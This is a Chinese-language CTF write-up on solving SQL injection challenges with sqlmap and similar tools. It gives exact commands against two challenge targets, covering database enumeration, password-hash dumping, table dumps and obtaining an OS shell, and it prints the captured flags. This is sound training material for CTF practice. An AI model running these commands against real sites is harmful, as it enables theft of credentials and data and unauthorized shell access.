CTF中的普通SQL注入题分析

安全
在CTF比赛中一定会存在一道SQL注入题,SQL注入作为OWASP中排名第一的高危漏洞,作为网络攻防对抗最热门的技术知识,在很多大型CTF比赛中都会出现考题,虽然形势有所变化,但万变不离其宗,只要掌握了核心知识,就能从容应对。

在CTF比赛中一定会存在一道SQL注入题,SQL注入作为OWASP中排名第一的高危漏洞,作为网络攻防对抗最热门的技术知识,在很多大型CTF比赛中都会出现考题,虽然形势有所变化,但万变不离其宗,只要掌握了核心知识,就能从容应对。

一、SQL注入解题思路  

存在SQL注入的题目,基本都会有参数传入,比如index.php?id=1这类的,其主要思路如下:

1.认真阅读题目,一般来讲CTF比赛都会或多或少给出一些提示。因此要从字里行间去体会,这个需要经验的记录。

2.对目标地址进行漏洞扫描。可以通过AWVS等工具进行漏洞扫描,如果存在SQL注入一般都能扫描到。不过使用扫描工具特别耗费时间,在CTF比赛中时间很宝贵。

3.直接对目标进行手工测试。针对不同类型编程语言,进行手工注册测试,确认存在漏洞后,可以使用sqlmap进行快速利用。

4.使用sqlmap来进行注入漏洞的测试及数据获取。

二、SQL注入方法  

1.使用havij注入工具进行url地址注入测试

2.使用pangonlin注入攻击进行url地址注入测试

3.使用WebCruiser进行扫描并进行url注入测试

4.sqlmap注入常用命令

(1)列数据库信息:--dbs    

(2)web当前使用的数据库--current-db

(3)web数据库使用账户 --current-user

(4)列出sqlserver所有用户 --users

(5)数据库账户与密码 --passwords

(6)指定库名列出所有表  -D database --tables

-D:指定数据库名称

(7)指定库名表名列出所有字段 -D antian365 -T admin --columns

-T:指定要列出字段的表

(8)指定库名表名字段dump出指定字段

-D secbang_com -T admin -C  id,password ,username --dump

-D antian365 -T userb -C "email,Username,userpassword" --dump

  可加双引号,也可不加双引号。

(9)导出多少条数据

-D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump 

参数:

--start:指定开始的行

--stop:指定结束的行

此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容。

三、ctf实战php sql注入  

1.题目分析

   目标地址:http://106.75.114.94:9005/index.php?id=1,如图1所示,提示flag在数据库中,根据这个信息判断,该题考查的为sql注入。    

图片

图1题目分析

2.使用sqlmap进行sql注入测试

(1)确认sql注入漏洞

执行命令:sqlmap.py -u http://106.75.114.94:9005/index.php?id=1,如图2所示,sqlmap识别出get参数存在三种类型的sql注入,数据库为MySQL,操作系统为Linux。

图片

图2确认sql注入漏洞

(2)排除系统数据库,获取所有数据

执行命令sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -a  --exclude-sysdbs,获取所有的数据,除系统数据库外,如图3所示,该方法适合懒人。    

图片

图3获取所有数据

3.获取flag

   在sqlmap执行完毕后,可以查看其数据库中的内容,如图4所示,成功获取其flag值:flag{b4d933ca-e1cc-43ef-80de-0749b0a2a8fe}。

图片

图4获取flag值

4.总结

前面提及的方法是最简便,最省事的一种获取方法,如果数据库中数据太多,前面的方法就比较耗费时间。常规解题思路为:

(1)sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 --dbs --is-dba --current-user

(2)root账号可以直接获取webshell

sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 --os-shell

(3)获取数据库表    

sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli --tables

(4)看表列名

sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli -T info  --columns

(5)导出数据内容

sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli -T info --dump

四、ctf实战asp sql注入  

对于提供了参数的url地址来讲,其sql注入相对简单,直接使用sqlmap就可以搞定,关键必须熟悉sqlmap的常用命令。在本题中给出的是asp编程脚本站点,题目地址为:http://10.2.66.50:8133/show.asp?id=2

1.漏洞点测试

执行python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2,如图5所示,sqlmap对注入点进行漏洞测试。

图片

图5进行漏洞测试

2.获取数据库名称

执行命令python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db,如图6所示,可以看到参数id存在三种类型的sql注入漏洞,其当前数据库名称为“tourdata”。    

图片

图6获取数据库名称及漏洞类型

3.获取表名

 python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata --tables,如图7所示,可以看到数据库类型为Microsoft SQL Server 2000,操作系统为Windows 2003 or XP,数据库中共有四个表,其中有三个表为系统表,news为目标表。

图片

图7获取数据库表

4.获取数据内容

执行命令sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata -T news --columns来获取列名,也可以只用sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata -T news --dump命令直接获取数据库表news中的所有内容,如图8所示,成功获取flag值为:52c6f1d691661456b3f51d2760179209。    

图片

图8获取flag值    

责任编辑:庞桂玉 来源: 小兵搞安全
相关推荐

2018-02-10 09:44:19

2013-01-11 16:23:29

2009-03-27 10:53:52

注入SQLMySQL

2017-03-01 14:16:20

2010-12-20 16:04:30

2010-09-10 15:51:51

SQL分析函数

2014-05-26 09:32:15

2017-08-10 10:23:59

2016-09-29 09:37:50

2010-04-13 14:35:17

2010-10-22 15:18:18

SQL注入漏洞

2009-02-04 16:11:45

2014-11-04 13:43:10

2012-11-15 13:37:32

dedecms注入脚本攻防

2014-04-14 10:03:16

2010-09-03 12:01:17

SQL删除

2020-10-26 07:04:29

SQL注入mysql

2013-05-02 15:09:22

2009-04-02 10:26:27

2010-09-09 17:22:14

点赞
收藏

51CTO技术栈公众号